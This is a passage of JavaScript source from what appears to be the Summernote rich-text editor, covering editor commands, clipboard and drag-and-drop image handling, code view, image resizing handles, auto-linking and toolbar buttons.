this.lang.help['formatH' + idx]); } this.insertParagraph = this.wrapCommand(function () { _this.typing.insertParagraph(_this.editable); }); this.insertOrderedList = this.wrapCommand(function () { _this.bullet.insertOrderedList(_this.editable); }); this.insertUnorderedList = this.wrapCommand(function () { _this.bullet.insertUnorderedList(_this.editable); }); this.indent = this.wrapCommand(function () { _this.bullet.indent(_this.editable); }); this.outdent = this.wrapCommand(function () { _this.bullet.outdent(_this.editable); }); /** * insertNode * insert node * @param {Node} node */ this.insertNode = this.wrapCommand(function (node) { if (_this.isLimited($$1(node).text().length)) { return; } var rng = _this.createRange(); rng.insertNode(node); range.createFromNodeAfter(node).select(); }); /** * insert text * @param {String} text */ this.insertText = this.wrapCommand(function (text) { if (_this.isLimited(text.length)) { return; } var rng = _this.createRange(); var textNode = rng.insertNode(dom.createText(text)); range.create(textNode, dom.nodeLength(textNode)).select(); }); /** * paste HTML * @param {String} markup */ this.pasteHTML = this.wrapCommand(function (markup) { if (_this.isLimited(markup.length)) { return; } var contents = _this.createRange().pasteHTML(markup); range.createFromNodeAfter(lists.last(contents)).select(); }); /** * formatBlock * * @param {String} tagName */ this.formatBlock = this.wrapCommand(function (tagName, $target) { var onApplyCustomStyle = _this.options.callbacks.onApplyCustomStyle; if (onApplyCustomStyle) { onApplyCustomStyle.call(_this, $target, _this.context, _this.onFormatBlock); } else { _this.onFormatBlock(tagName, $target); } }); /** * insert horizontal rule */ this.insertHorizontalRule = this.wrapCommand(function () { var hrNode = _this.createRange().insertNode(dom.create('HR')); if (hrNode.nextSibling) { range.create(hrNode.nextSibling, 0).normalize().select(); } }); /** * lineHeight * @param {String} value */ this.lineHeight = this.wrapCommand(function (value) { _this.style.stylePara(_this.createRange(), { lineHeight: value }); }); /** * create link (command) * * @param {Object} linkInfo */ this.createLink = this.wrapCommand(function (linkInfo) { var linkUrl = linkInfo.url; var linkText = linkInfo.text; var isNewWindow = linkInfo.isNewWindow; var rng = linkInfo.range || _this.createRange(); var isTextChanged = rng.toString() !== linkText; // handle spaced urls from input if (typeof linkUrl === 'string') { linkUrl = linkUrl.trim(); } if (_this.options.onCreateLink) { linkUrl = _this.options.onCreateLink(linkUrl); } else { // if url doesn't match an URL schema, set http:// as default linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(linkUrl) ? linkUrl : 'http://' + linkUrl; } var anchors = []; if (isTextChanged) { rng = rng.deleteContents(); var anchor = rng.insertNode($$1('<A>' + linkText + '</A>')[0]); anchors.push(anchor); } else { anchors = _this.style.styleNodes(rng, { nodeName: 'A', expandClosestSibling: true, onlyPartialContains: true }); } $$1.each(anchors, function (idx, anchor) { $$1(anchor).attr('href', linkUrl); if (isNewWindow) { $$1(anchor).attr('target', '_blank'); } else { $$1(anchor).removeAttr('target'); } }); var startRange = range.createFromNodeBefore(lists.head(anchors)); var startPoint = startRange.getStartPoint(); var endRange = range.createFromNodeAfter(lists.last(anchors)); var endPoint = endRange.getEndPoint(); range.create(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset).select(); }); /** * setting color * * @param {Object} sObjColor color code * @param {String} sObjColor.foreColor foreground color * @param {String} sObjColor.backColor background color */ this.color = this.wrapCommand(function (colorInfo) { var foreColor = colorInfo.foreColor; var backColor = colorInfo.backColor; if (foreColor) { document.execCommand('foreColor', false, foreColor); } if (backColor) { document.execCommand('backColor', false, backColor); } }); /** * Set foreground color * * @param {String} colorCode foreground color code */ this.foreColor = this.wrapCommand(function (colorInfo) { document.execCommand('styleWithCSS', false, true); document.execCommand('foreColor', false, colorInfo); }); /** * insert Table * * @param {String} dimension of table (ex : "5x5") */ this.insertTable = this.wrapCommand(function (dim) { var dimension = dim.split('x'); var rng = _this.createRange().deleteContents(); rng.insertNode(_this.table.createTable(dimension[0], dimension[1], _this.options)); }); /** * remove media object and Figure Elements if media object is img with Figure. */ this.removeMedia = this.wrapCommand(function () { var $target = $$1(_this.restoreTarget()).parent(); if ($target.parent('figure').length) { $target.parent('figure').remove(); } else { $target = $$1(_this.restoreTarget()).detach(); } _this.context.triggerEvent('media.delete', $target, _this.$editable); }); /** * float me * * @param {String} value */ this.floatMe = this.wrapCommand(function (value) { var $target = $$1(_this.restoreTarget()); $target.toggleClass('note-float-left', value === 'left'); $target.toggleClass('note-float-right', value === 'right'); $target.css('float', value); }); /** * resize overlay element * @param {String} value */ this.resize = this.wrapCommand(function (value) { var $target = $$1(_this.restoreTarget()); $target.css({ width: value * 100 + '%', height: '' }); }); } Editor.prototype.initialize = function () { var _this = this; // bind custom events this.$editable.on('keydown', function (event) { if (event.keyCode === key.code.ENTER) { _this.context.triggerEvent('enter', event); } _this.context.triggerEvent('keydown', event); if (!event.isDefaultPrevented()) { if (_this.options.shortcuts) { _this.handleKeyMap(event); } else { _this.preventDefaultEditableShortCuts(event); } } if (_this.isLimited(1, event)) { return false; } }).on('keyup', function (event) { _this.context.triggerEvent('keyup', event); }).on('focus', function (event) { _this.context.triggerEvent('focus', event); }).on('blur', function (event) { _this.context.triggerEvent('blur', event); }).on('mousedown', function (event) { _this.context.triggerEvent('mousedown', event); }).on('mouseup', function (event) { _this.context.triggerEvent('mouseup', event); }).on('scroll', function (event) { _this.context.triggerEvent('scroll', event); }).on('paste', function (event) { _this.context.triggerEvent('paste', event); }); // init content before set event this.$editable.html(dom.html(this.$note) || dom.emptyPara); this.$editable.on(env.inputEventName, func.debounce(function () { _this.context.triggerEvent('change', _this.$editable.html()); }, 100)); this.$editor.on('focusin', function (event) { _this.context.triggerEvent('focusin', event); }).on('focusout', function (event) { _this.context.triggerEvent('focusout', event); }); if (!this.options.airMode) { if (this.options.width) { this.$editor.outerWidth(this.options.width); } if (this.options.height) { this.$editable.outerHeight(this.options.height); } if (this.options.maxHeight) { this.$editable.css('max-height', this.options.maxHeight); } if (this.options.minHeight) { this.$editable.css('min-height', this.options.minHeight); } } this.history.recordUndo(); }; Editor.prototype.destroy = function () { this.$editable.off(); }; Editor.prototype.handleKeyMap = function (event) { var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc']; var keys = []; if (event.metaKey) { keys.push('CMD'); } if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); } if (event.shiftKey) { keys.push('SHIFT'); } var keyName = key.nameFromCode[event.keyCode]; if (keyName) { keys.push(keyName); } var eventName = keyMap[keys.join('+')]; if (eventName) { if (this.context.invoke(eventName) !== false) { event.preventDefault(); } } else if (key.isEdit(event.keyCode)) { this.afterCommand(); } }; Editor.prototype.preventDefaultEditableShortCuts = function (event) { // B(Bold, 66) / I(Italic, 73) / U(Underline, 85) if ((event.ctrlKey || event.metaKey) && lists.contains([66, 73, 85], event.keyCode)) { event.preventDefault(); } }; Editor.prototype.isLimited = function (pad, event) { pad = pad || 0; if (typeof event !== 'undefined') { if (key.isMove(event.keyCode) || (event.ctrlKey || event.metaKey) || lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) { return false; } } if (this.options.maxTextLength > 0) { if ((this.$editable.text().length + pad) >= this.options.maxTextLength) { return true; } } return false; }; /** * create range * @return {WrappedRange} */ Editor.prototype.createRange = function () { this.focus(); return range.create(this.editable); }; /** * saveRange * * save current range * * @param {Boolean} [thenCollapse=false] */ Editor.prototype.saveRange = function (thenCollapse) { this.lastRange = this.createRange(); if (thenCollapse) { this.lastRange.collapse().select(); } }; /** * restoreRange * * restore lately range */ Editor.prototype.restoreRange = function () { if (this.lastRange) { this.lastRange.select(); this.focus(); } }; Editor.prototype.saveTarget = function (node) { this.$editable.data('target', node); }; Editor.prototype.clearTarget = function () { this.$editable.removeData('target'); }; Editor.prototype.restoreTarget = function () { return this.$editable.data('target'); }; /** * currentStyle * * current style * @return {Object|Boolean} unfocus */ Editor.prototype.currentStyle = function () { var rng = range.create(); if (rng) { rng = rng.normalize(); } return rng ? this.style.current(rng) : this.style.fromNode(this.$editable); }; /** * style from node * * @param {jQuery} $node * @return {Object} */ Editor.prototype.styleFromNode = function ($node) { return this.style.fromNode($node); }; /** * undo */ Editor.prototype.undo = function () { this.context.triggerEvent('before.command', this.$editable.html()); this.history.undo(); this.context.triggerEvent('change', this.$editable.html()); }; /** * redo */ Editor.prototype.redo = function () { this.context.triggerEvent('before.command', this.$editable.html()); this.history.redo(); this.context.triggerEvent('change', this.$editable.html()); }; /** * before command */ Editor.prototype.beforeCommand = function () { this.context.triggerEvent('before.command', this.$editable.html()); // keep focus on editable before command execution this.focus(); }; /** * after command * @param {Boolean} isPreventTrigger */ Editor.prototype.afterCommand = function (isPreventTrigger) { this.normalizeContent(); this.history.recordUndo(); if (!isPreventTrigger) { this.context.triggerEvent('change', this.$editable.html()); } }; /** * handle tab key */ Editor.prototype.tab = function () { var rng = this.createRange(); if (rng.isCollapsed() && rng.isOnCell()) { this.table.tab(rng); } else { if (this.options.tabSize === 0) { return false; } if (!this.isLimited(this.options.tabSize)) { this.beforeCommand(); this.typing.insertTab(rng, this.options.tabSize); this.afterCommand(); } } }; /** * handle shift+tab key */ Editor.prototype.untab = function () { var rng = this.createRange(); if (rng.isCollapsed() && rng.isOnCell()) { this.table.tab(rng, true); } else { if (this.options.tabSize === 0) { return false; } } }; /** * run given function between beforeCommand and afterCommand */ Editor.prototype.wrapCommand = function (fn) { var _this = this; return function () { _this.beforeCommand(); fn.apply(_this, arguments); _this.afterCommand(); }; }; /** * insert image * * @param {String} src * @param {String|Function} param * @return {Promise} */ Editor.prototype.insertImage = function (src, param) { var _this = this; return createImage(src, param).then(function ($image) { _this.beforeCommand(); if (typeof param === 'function') { param($image); } else { if (typeof param === 'string') { $image.attr('data-filename', param); } $image.css('width', Math.min(_this.$editable.width(), $image.width())); } $image.show(); range.create(_this.editable).insertNode($image[0]); range.createFromNodeAfter($image[0]).select(); _this.afterCommand(); }).fail(function (e) { _this.context.triggerEvent('image.upload.error', e); }); }; /** * insertImages * @param {File[]} files */ Editor.prototype.insertImages = function (files) { var _this = this; $$1.each(files, function (idx, file) { var filename = file.name; if (_this.options.maximumImageFileSize && _this.options.maximumImageFileSize < file.size) { _this.context.triggerEvent('image.upload.error', _this.lang.image.maximumFileSizeError); } else { readFileAsDataURL(file).then(function (dataURL) { return _this.insertImage(dataURL, filename); }).fail(function () { _this.context.triggerEvent('image.upload.error'); }); } }); }; /** * insertImagesOrCallback * @param {File[]} files */ Editor.prototype.insertImagesOrCallback = function (files) { var callbacks = this.options.callbacks; // If onImageUpload this.options setted if (callbacks.onImageUpload) { this.context.triggerEvent('image.upload', files); // else insert Image as dataURL } else { this.insertImages(files); } }; /** * return selected plain text * @return {String} text */ Editor.prototype.getSelectedText = function () { var rng = this.createRange(); // if range on anchor, expand range with anchor if (rng.isOnAnchor()) { rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor)); } return rng.toString(); }; Editor.prototype.onFormatBlock = function (tagName, $target) { // [workaround] for MSIE, IE need `<` tagName = env.isMSIE ? '<' + tagName + '>' : tagName; document.execCommand('FormatBlock', false, tagName); // support custom class if ($target && $target.length) { var className = $target[0].className || ''; if (className) { var currentRange = this.createRange(); var $parent = $$1([currentRange.sc, currentRange.ec]).closest(tagName); $parent.addClass(className); } } }; Editor.prototype.formatPara = function () { this.formatBlock('P'); }; Editor.prototype.fontStyling = function (target, value) { var rng = this.createRange(); if (rng) { var spans = this.style.styleNodes(rng); $$1(spans).css(target, value); // [workaround] added styled bogus span for style // - also bogus character needed for cursor position if (rng.isCollapsed()) { var firstSpan = lists.head(spans); if (firstSpan && !dom.nodeLength(firstSpan)) { firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR; range.createFromNodeAfter(firstSpan.firstChild).select(); this.$editable.data(KEY_BOGUS, firstSpan); } } } }; /** * unlink * * @type command */ Editor.prototype.unlink = function () { var rng = this.createRange(); if (rng.isOnAnchor()) { var anchor = dom.ancestor(rng.sc, dom.isAnchor); rng = range.createFromNode(anchor); rng.select(); this.beforeCommand(); document.execCommand('unlink'); this.afterCommand(); } }; /** * returns link info * * @return {Object} * @return {WrappedRange} return.range * @return {String} return.text * @return {Boolean} [return.isNewWindow=true] * @return {String} [return.url=""] */ Editor.prototype.getLinkInfo = function () { var rng = this.createRange().expand(dom.isAnchor); // Get the first anchor on range(for edit). var $anchor = $$1(lists.head(rng.nodes(dom.isAnchor))); var linkInfo = { range: rng, text: rng.toString(), url: $anchor.length ? $anchor.attr('href') : '' }; // Define isNewWindow when anchor exists. if ($anchor.length) { linkInfo.isNewWindow = $anchor.attr('target') === '_blank'; } return linkInfo; }; Editor.prototype.addRow = function (position) { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.addRow(rng, position); this.afterCommand(); } }; Editor.prototype.addCol = function (position) { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.addCol(rng, position); this.afterCommand(); } }; Editor.prototype.deleteRow = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteRow(rng); this.afterCommand(); } }; Editor.prototype.deleteCol = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteCol(rng); this.afterCommand(); } }; Editor.prototype.deleteTable = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteTable(rng); this.afterCommand(); } }; /** * @param {Position} pos * @param {jQuery} $target - target element * @param {Boolean} [bKeepRatio] - keep ratio */ Editor.prototype.resizeTo = function (pos, $target, bKeepRatio) { var imageSize; if (bKeepRatio) { var newRatio = pos.y / pos.x; var ratio = $target.data('ratio'); imageSize = { width: ratio > newRatio ? pos.x : pos.y / ratio, height: ratio > newRatio ? pos.x * ratio : pos.y }; } else { imageSize = { width: pos.x, height: pos.y }; } $target.css(imageSize); }; /** * returns whether editable area has focus or not. */ Editor.prototype.hasFocus = function () { return this.$editable.is(':focus'); }; /** * set focus */ Editor.prototype.focus = function () { // [workaround] Screen will move when page is scolled in IE. // - do focus when not focused if (!this.hasFocus()) { this.$editable.focus(); } }; /** * returns whether contents is empty or not. * @return {Boolean} */ Editor.prototype.isEmpty = function () { return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html(); }; /** * Removes all contents and restores the editable instance to an _emptyPara_. */ Editor.prototype.empty = function () { this.context.invoke('code', dom.emptyPara); }; /** * normalize content */ Editor.prototype.normalizeContent = function () { this.$editable[0].normalize(); }; return Editor; }()); var Clipboard = /** @class */ (function () { function Clipboard(context) { this.context = context; this.$editable = context.layoutInfo.editable; } Clipboard.prototype.initialize = function () { this.$editable.on('paste', this.pasteByEvent.bind(this)); }; /** * paste by clipboard event * * @param {Event} event */ Clipboard.prototype.pasteByEvent = function (event) { var clipboardData = event.originalEvent.clipboardData; if (clipboardData && clipboardData.items && clipboardData.items.length) { var item = lists.head(clipboardData.items); if (item.kind === 'file' && item.type.indexOf('image/') !== -1) { this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]); } this.context.invoke('editor.afterCommand'); } }; return Clipboard; }()); var Dropzone = /** @class */ (function () { function Dropzone(context) { this.context = context; this.$eventListener = $$1(document); this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.options = context.options; this.lang = this.options.langInfo; this.documentEventHandlers = {}; this.$dropzone = $$1([ '<div class="note-dropzone">', ' <div class="note-dropzone-message"/>', '</div>' ].join('')).prependTo(this.$editor); } /** * attach Drag and Drop Events */ Dropzone.prototype.initialize = function () { if (this.options.disableDragAndDrop) { // prevent default drop event this.documentEventHandlers.onDrop = function (e) { e.preventDefault(); }; // do not consider outside of dropzone this.$eventListener = this.$dropzone; this.$eventListener.on('drop', this.documentEventHandlers.onDrop); } else { this.attachDragAndDropEvent(); } }; /** * attach Drag and Drop Events */ Dropzone.prototype.attachDragAndDropEvent = function () { var _this = this; var collection = $$1(); var $dropzoneMessage = this.$dropzone.find('.note-dropzone-message'); this.documentEventHandlers.onDragenter = function (e) { var isCodeview = _this.context.invoke('codeview.isActivated'); var hasEditorSize = _this.$editor.width() > 0 && _this.$editor.height() > 0; if (!isCodeview && !collection.length && hasEditorSize) { _this.$editor.addClass('dragover'); _this.$dropzone.width(_this.$editor.width()); _this.$dropzone.height(_this.$editor.height()); $dropzoneMessage.text(_this.lang.image.dragImageHere); } collection = collection.add(e.target); }; this.documentEventHandlers.onDragleave = function (e) { collection = collection.not(e.target); if (!collection.length) { _this.$editor.removeClass('dragover'); } }; this.documentEventHandlers.onDrop = function () { collection = $$1(); _this.$editor.removeClass('dragover'); }; // show dropzone on dragenter when dragging a object to document // -but only if the editor is visible, i.e. has a positive width and height this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter) .on('dragleave', this.documentEventHandlers.onDragleave) .on('drop', this.documentEventHandlers.onDrop); // change dropzone's message on hover. this.$dropzone.on('dragenter', function () { _this.$dropzone.addClass('hover'); $dropzoneMessage.text(_this.lang.image.dropImage); }).on('dragleave', function () { _this.$dropzone.removeClass('hover'); $dropzoneMessage.text(_this.lang.image.dragImageHere); }); // attach dropImage this.$dropzone.on('drop', function (event) { var dataTransfer = event.originalEvent.dataTransfer; // stop the browser from opening the dropped content event.preventDefault(); if (dataTransfer && dataTransfer.files && dataTransfer.files.length) { _this.$editable.focus(); _this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files); } else { $$1.each(dataTransfer.types, function (idx, type) { var content = dataTransfer.getData(type); if (type.toLowerCase().indexOf('text') > -1) { _this.context.invoke('editor.pasteHTML', content); } else { $$1(content).each(function (idx, item) { _this.context.invoke('editor.insertNode', item); }); } }); } }).on('dragover', false); // prevent default dragover event }; Dropzone.prototype.destroy = function () { var _this = this; Object.keys(this.documentEventHandlers).forEach(function (key) { _this.$eventListener.off(key.substr(2).toLowerCase(), _this.documentEventHandlers[key]); }); this.documentEventHandlers = {}; }; return Dropzone; }()); var CodeMirror; if (env.hasCodeMirror) { if (env.isSupportAmd) { require(['codemirror'], function (cm) { CodeMirror = cm; }); } else { CodeMirror = window.CodeMirror; } } /** * @class Codeview */ var CodeView = /** @class */ (function () { function CodeView(context) { this.context = context; this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.$codable = context.layoutInfo.codable; this.options = context.options; } CodeView.prototype.sync = function () { var isCodeview = this.isActivated(); if (isCodeview && env.hasCodeMirror) { this.$codable.data('cmEditor').save(); } }; /** * @return {Boolean} */ CodeView.prototype.isActivated = function () { return this.$editor.hasClass('codeview'); }; /** * toggle codeview */ CodeView.prototype.toggle = function () { if (this.isActivated()) { this.deactivate(); } else { this.activate(); } this.context.triggerEvent('codeview.toggled'); }; /** * activate code view */ CodeView.prototype.activate = function () { var _this = this; this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml)); this.$codable.height(this.$editable.height()); this.context.invoke('toolbar.updateCodeview', true); this.$editor.addClass('codeview'); this.$codable.focus(); // activate CodeMirror as codable if (env.hasCodeMirror) { var cmEditor_1 = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror); // CodeMirror TernServer if (this.options.codemirror.tern) { var server_1 = new CodeMirror.TernServer(this.options.codemirror.tern); cmEditor_1.ternServer = server_1; cmEditor_1.on('cursorActivity', function (cm) { server_1.updateArgHints(cm); }); } cmEditor_1.on('blur', function (event) { _this.context.triggerEvent('blur.codeview', cmEditor_1.getValue(), event); }); // CodeMirror hasn't Padding. cmEditor_1.setSize(null, this.$editable.outerHeight()); this.$codable.data('cmEditor', cmEditor_1); } else { this.$codable.on('blur', function (event) { _this.context.triggerEvent('blur.codeview', _this.$codable.val(), event); }); } }; /** * deactivate code view */ CodeView.prototype.deactivate = function () { // deactivate CodeMirror as codable if (env.hasCodeMirror) { var cmEditor = this.$codable.data('cmEditor'); this.$codable.val(cmEditor.getValue()); cmEditor.toTextArea(); } var value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara; var isChange = this.$editable.html() !== value; this.$editable.html(value); this.$editable.height(this.options.height ? this.$codable.height() : 'auto'); this.$editor.removeClass('codeview'); if (isChange) { this.context.triggerEvent('change', this.$editable.html(), this.$editable); } this.$editable.focus(); this.context.invoke('toolbar.updateCodeview', false); }; CodeView.prototype.destroy = function () { if (this.isActivated()) { this.deactivate(); } }; return CodeView; }()); var EDITABLE_PADDING = 24; var Statusbar = /** @class */ (function () { function Statusbar(context) { this.$document = $$1(document); this.$statusbar = context.layoutInfo.statusbar; this.$editable = context.layoutInfo.editable; this.options = context.options; } Statusbar.prototype.initialize = function () { var _this = this; if (this.options.airMode || this.options.disableResizeEditor) { this.destroy(); return; } this.$statusbar.on('mousedown', function (event) { event.preventDefault(); event.stopPropagation(); var editableTop = _this.$editable.offset().top - _this.$document.scrollTop(); var onMouseMove = function (event) { var height = event.clientY - (editableTop + EDITABLE_PADDING); height = (_this.options.minheight > 0) ? Math.max(height, _this.options.minheight) : height; height = (_this.options.maxHeight > 0) ? Math.min(height, _this.options.maxHeight) : height; _this.$editable.height(height); }; _this.$document.on('mousemove', onMouseMove).one('mouseup', function () { _this.$document.off('mousemove', onMouseMove); }); }); }; Statusbar.prototype.destroy = function () { this.$statusbar.off(); this.$statusbar.addClass('locked'); }; return Statusbar; }()); var Fullscreen = /** @class */ (function () { function Fullscreen(context) { var _this = this; this.context = context; this.$editor = context.layoutInfo.editor; this.$toolbar = context.layoutInfo.toolbar; this.$editable = context.layoutInfo.editable; this.$codable = context.layoutInfo.codable; this.$window = $$1(window); this.$scrollbar = $$1('html, body'); this.onResize = function () { _this.resizeTo({ h: _this.$window.height() - _this.$toolbar.outerHeight() }); }; } Fullscreen.prototype.resizeTo = function (size) { this.$editable.css('height', size.h); this.$codable.css('height', size.h); if (this.$codable.data('cmeditor')) { this.$codable.data('cmeditor').setsize(null, size.h); } }; /** * toggle fullscreen */ Fullscreen.prototype.toggle = function () { this.$editor.toggleClass('fullscreen'); if (this.isFullscreen()) { this.$editable.data('orgHeight', this.$editable.css('height')); this.$window.on('resize', this.onResize).trigger('resize'); this.$scrollbar.css('overflow', 'hidden'); } else { this.$window.off('resize', this.onResize); this.resizeTo({ h: this.$editable.data('orgHeight') }); this.$scrollbar.css('overflow', 'visible'); } this.context.invoke('toolbar.updateFullscreen', this.isFullscreen()); }; Fullscreen.prototype.isFullscreen = function () { return this.$editor.hasClass('fullscreen'); }; return Fullscreen; }()); var Handle = /** @class */ (function () { function Handle(context) { var _this = this; this.context = context; this.$document = $$1(document); this.$editingArea = context.layoutInfo.editingArea; this.options = context.options; this.lang = this.options.langInfo; this.events = { 'summernote.mousedown': function (we, e) { if (_this.update(e.target)) { e.preventDefault(); } }, 'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': function () { _this.update(); }, 'summernote.disable': function () { _this.hide(); }, 'summernote.codeview.toggled': function () { _this.update(); } }; } Handle.prototype.initialize = function () { var _this = this; this.$handle = $$1([ '<div class="note-handle">', '<div class="note-control-selection">', '<div class="note-control-selection-bg"></div>', '<div class="note-control-holder note-control-nw"></div>', '<div class="note-control-holder note-control-ne"></div>', '<div class="note-control-holder note-control-sw"></div>', '<div class="', (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'), ' note-control-se"></div>', (this.options.disableResizeImage ? '' : '<div class="note-control-selection-info"></div>'), '</div>', '</div>' ].join('')).prependTo(this.$editingArea); this.$handle.on('mousedown', function (event) { if (dom.isControlSizing(event.target)) { event.preventDefault(); event.stopPropagation(); var $target_1 = _this.$handle.find('.note-control-selection').data('target'); var posStart_1 = $target_1.offset(); var scrollTop_1 = _this.$document.scrollTop(); var onMouseMove_1 = function (event) { _this.context.invoke('editor.resizeTo', { x: event.clientX - posStart_1.left, y: event.clientY - (posStart_1.top - scrollTop_1) }, $target_1, !event.shiftKey); _this.update($target_1[0]); }; _this.$document .on('mousemove', onMouseMove_1) .one('mouseup', function (e) { e.preventDefault(); _this.$document.off('mousemove', onMouseMove_1); _this.context.invoke('editor.afterCommand'); }); if (!$target_1.data('ratio')) { $target_1.data('ratio', $target_1.height() / $target_1.width()); } } }); // Listen for scrolling on the handle overlay. this.$handle.on('wheel', function (e) { e.preventDefault(); _this.update(); }); }; Handle.prototype.destroy = function () { this.$handle.remove(); }; Handle.prototype.update = function (target) { if (this.context.isDisabled()) { return false; } var isImage = dom.isImg(target); var $selection = this.$handle.find('.note-control-selection'); this.context.invoke('imagePopover.update', target); if (isImage) { var $image = $$1(target); var position = $image.position(); var pos = { left: position.left + parseInt($image.css('marginLeft'), 10), top: position.top + parseInt($image.css('marginTop'), 10) }; // exclude margin var imageSize = { w: $image.outerWidth(false), h: $image.outerHeight(false) }; $selection.css({ display: 'block', left: pos.left, top: pos.top, width: imageSize.w, height: imageSize.h }).data('target', $image); // save current image element. var origImageObj = new Image(); origImageObj.src = $image.attr('src'); var sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')'; $selection.find('.note-control-selection-info').text(sizingText); this.context.invoke('editor.saveTarget', target); } else { this.hide(); } return isImage; }; /** * hide * * @param {jQuery} $handle */ Handle.prototype.hide = function () { this.context.invoke('editor.clearTarget'); this.$handle.children().hide(); }; return Handle; }()); var defaultScheme = 'http://'; var linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i; var AutoLink = /** @class */ (function () { function AutoLink(context) { var _this = this; this.context = context; this.events = { 'summernote.keyup': function (we, e) { if (!e.isDefaultPrevented()) { _this.handleKeyup(e); } }, 'summernote.keydown': function (we, e) { _this.handleKeydown(e); } }; } AutoLink.prototype.initialize = function () { this.lastWordRange = null; }; AutoLink.prototype.destroy = function () { this.lastWordRange = null; }; AutoLink.prototype.replace = function () { if (!this.lastWordRange) { return; } var keyword = this.lastWordRange.toString(); var match = keyword.match(linkPattern); if (match && (match[1] || match[2])) { var link = match[1] ? keyword : defaultScheme + keyword; var node = $$1('<a />').html(keyword).attr('href', link)[0]; this.lastWordRange.insertNode(node); this.lastWordRange = null; this.context.invoke('editor.focus'); } }; AutoLink.prototype.handleKeydown = function (e) { if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) { var wordRange = this.context.invoke('editor.createRange').getWordRange(); this.lastWordRange = wordRange; } }; AutoLink.prototype.handleKeyup = function (e) { if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) { this.replace(); } }; return AutoLink; }()); /** * textarea auto sync. */ var AutoSync = /** @class */ (function () { function AutoSync(context) { var _this = this; this.$note = context.layoutInfo.note; this.events = { 'summernote.change': function () { _this.$note.val(context.invoke('code')); } }; } AutoSync.prototype.shouldInitialize = function () { return dom.isTextarea(this.$note[0]); }; return AutoSync; }()); var Placeholder = /** @class */ (function () { function Placeholder(context) { var _this = this; this.context = context; this.$editingArea = context.layoutInfo.editingArea; this.options = context.options; this.events = { 'summernote.init summernote.change': function () { _this.update(); }, 'summernote.codeview.toggled': function () { _this.update(); } }; } Placeholder.prototype.shouldInitialize = function () { return !!this.options.placeholder; }; Placeholder.prototype.initialize = function () { var _this = this; this.$placeholder = $$1('<div class="note-placeholder">'); this.$placeholder.on('click', function () { _this.context.invoke('focus'); }).text(this.options.placeholder).prependTo(this.$editingArea); this.update(); }; Placeholder.prototype.destroy = function () { this.$placeholder.remove(); }; Placeholder.prototype.update = function () { var isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty'); this.$placeholder.toggle(isShow); }; return Placeholder; }()); var Buttons = /** @class */ (function () { function Buttons(context) { this.ui = $$1.summernote.ui; this.context = context; this.$toolbar = context.layoutInfo.toolbar; this.options = context.options; this.lang = this.options.langInfo; this.invertedKeyMap = func.invertObject(this.options.keyMap[env.isMac ? 'mac' : 'pc']); } Buttons.prototype.representShortcut = function (editorMethod) { var shortcut = this.invertedKeyMap[editorMethod]; if (!this.options.shortcuts || !shortcut) { return ''; } if (env.isMac) { shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧'); } shortcut = shortcut.replace('BACKSLASH', '\\') .replace('SLASH', '/') .replace('LEFTBRACKET', '[') .replace('RIGHTBRACKET', ']'); return ' (' + shortcut + ')'; }; Buttons.prototype.button = function (o) { if (!this.options.tooltip && o.tooltip) { delete o.tooltip; } o.container = this.options.container; return this.ui.button(o); }; Buttons.prototype.initialize = function () { this.addToolbarButtons(); this.addImagePopoverButtons(); this.addLinkPopoverButtons(); this.addTablePopoverButtons(); this.fontInstalledMap = {}; }; Buttons.prototype.destroy = function () { delete this.fontInstalledMap; }; Buttons.prototype.isFontInstalled = function (name) { if (!this.fontInstalledMap.hasOwnProperty(name)) { this.fontInstalledMap[name] = env.isFontInstalled(name) || lists.contains(this.options.fontNamesIgnoreCheck, name); } return this.fontInstalledMap[name]; }; Buttons.prototype.isFontDeservedToAdd = function (name) { var genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy']; name = name.toLowerCase(); return ((name !== '') && this.isFontInstalled(name) && ($$1.inArray(name, genericFamilies) === -1)); }; Buttons.prototype.addToolbarButtons = function () { var _this = this; this.context.memo('button.style', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.magic), _this.options), tooltip: _this.lang.style.style, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ className: 'dropdown-style', items: _this.options.styleTags, title: _this.lang.style.style, template: function (item) { if (typeof item === 'string') { item = { tag: item, title: (_this.lang.style.hasOwnProperty(item) ? _this.lang.style[item] : item) }; } var tag = item.tag; var title = item.title; var style = item.style ? ' style="' + item.style + '" ' : ''; var className = item.className ? ' 